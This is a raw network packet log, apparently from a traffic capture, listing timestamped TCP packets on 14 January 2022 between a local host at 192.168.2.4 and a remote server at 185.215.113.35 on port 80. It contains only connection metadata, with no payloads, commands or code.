Jan 14, 2022 09:26:01.046278000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.046452045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.046471119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.046622992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.046638966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.046801090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.046819925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.046967030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.046983957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.047127008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.047144890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.047314882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.047329903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.047483921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.047501087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.047653913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.047672987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.047751904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.047909975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.047929049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.048080921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.048095942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.048259020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.048275948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.048430920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.048445940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.048602104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.048618078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.048861027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.048876047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.049035072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.049051046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.049211025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.049226999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.049392939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.049410105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.049590111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.049604893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.049772024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.049788952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.049962997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.049978018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.050146103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.050163031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.050333977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.050348997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.050512075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.050528049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.050709009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.050724030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.050879002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.050894976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.051048994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.051064014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.051220894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.051240921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.051395893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.051413059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.051565886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.051587105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.051740885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.051748037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.051928043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.051944017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.052100897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.052117109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.052278042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.052295923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.052437067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.052566051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.053205013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.053320885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.053491116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.053693056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.054100037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.054157972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.054336071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.054538012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.054841995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.054971933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.055103064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.055264950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.055565119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.055695057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.055799007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.056004047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.056021929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.056170940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.056185961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.056355953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.056374073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.056520939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.056536913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.056729078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.056746960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.056905031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.056916952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.057089090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.057107925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.057266951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.057281971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.057410955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.058640957 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.058670044 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.058689117 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.058708906 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.058727980 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.058748007 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.058752060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.058767080 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.058784962 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.058803082 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.058821917 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.068062067 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.080200911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.080235004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.080502987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.080522060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.080760002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.080781937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.080987930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.081007004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.081234932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.081255913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.081466913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.081484079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.081707001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.081724882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.081964016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.081981897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.082163095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.082237005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.082729101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.082890034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.083159924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.083326101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.083556890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.083693027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.084062099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.084723949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.084944010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.084959984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.085206985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.085222960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.085427046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.085448980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.085676908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.085699081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.085913897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.085931063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.086146116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.086167097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.086373091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.086390972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.086610079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.086630106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.086827993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.086846113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.087066889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.087085009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.087296009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.087311029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.087533951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.087553978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.087733030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.087927103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.087943077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.088170052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.088186026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.088392973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.088413000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.088635921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.088654995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.088856936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.088876009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.089102030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.089119911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.089332104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.089348078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.089560032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.089576960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.089710951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.090013981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.090524912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.090687990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.090853930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.091018915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.091036081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.091228008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.091244936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.091401100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.091423035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.091594934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.091614962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.091762066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.091882944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.091901064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.092067003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.092087030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.092248917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.092268944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.092432022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.092453003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.092614889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.092638969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.092791080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.092808962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.092979908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.092994928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.093154907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.093174934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.093239069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.093535900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.093555927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.093714952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.093734026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.093900919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.093919992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.094113111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.108124971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.108419895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.108438015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.108711004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.108793974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.109122038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.109138966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.109291077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.109308004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.109477043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.109498024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.109637976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.109658957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.109818935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.109838963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.109986067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.110003948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.110167027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.110188007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.110341072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.110364914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.110508919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.110529900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.110676050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.110694885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.110862970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.110883951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.111026049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.111044884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.111196995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.111213923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.111361980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.111382961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.111452103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.111613989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.111634016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.111742020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.111905098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.111921072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.112106085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.112124920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.112277031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.112292051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.112467051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.112485886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.112642050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.112658024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.112831116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.112850904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.113013029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.113029003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.113187075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.113205910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.113353014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.113364935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.117645025 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.136223078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.136253119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.136367083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.136539936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.136559963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.136740923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.136765957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.136921883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.136940956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.137114048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.137130976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.137284994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.137301922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.137460947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.137475967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.137634039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.137650967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.137798071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.137819052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.137968063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.137986898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.138148069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.138166904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.138309002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.138328075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.138482094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.138497114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.138644934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.138664007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.138819933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.138835907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.138986111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.139003992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.139159918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.139172077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.139327049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.139342070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.139494896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.139513016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.139666080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.139687061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.139909983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.139929056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.140078068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.140098095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.140264988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.140280008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.140436888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.140455008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.140625000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.140640974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.143166065 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.144119978 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.144148111 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.147243023 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.149369955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.149574995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.149590969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.149753094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.149769068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.149954081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.149971008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.150130987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.150144100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.150316954 CET	49891	80	192.168.2.4	185.215.113.35
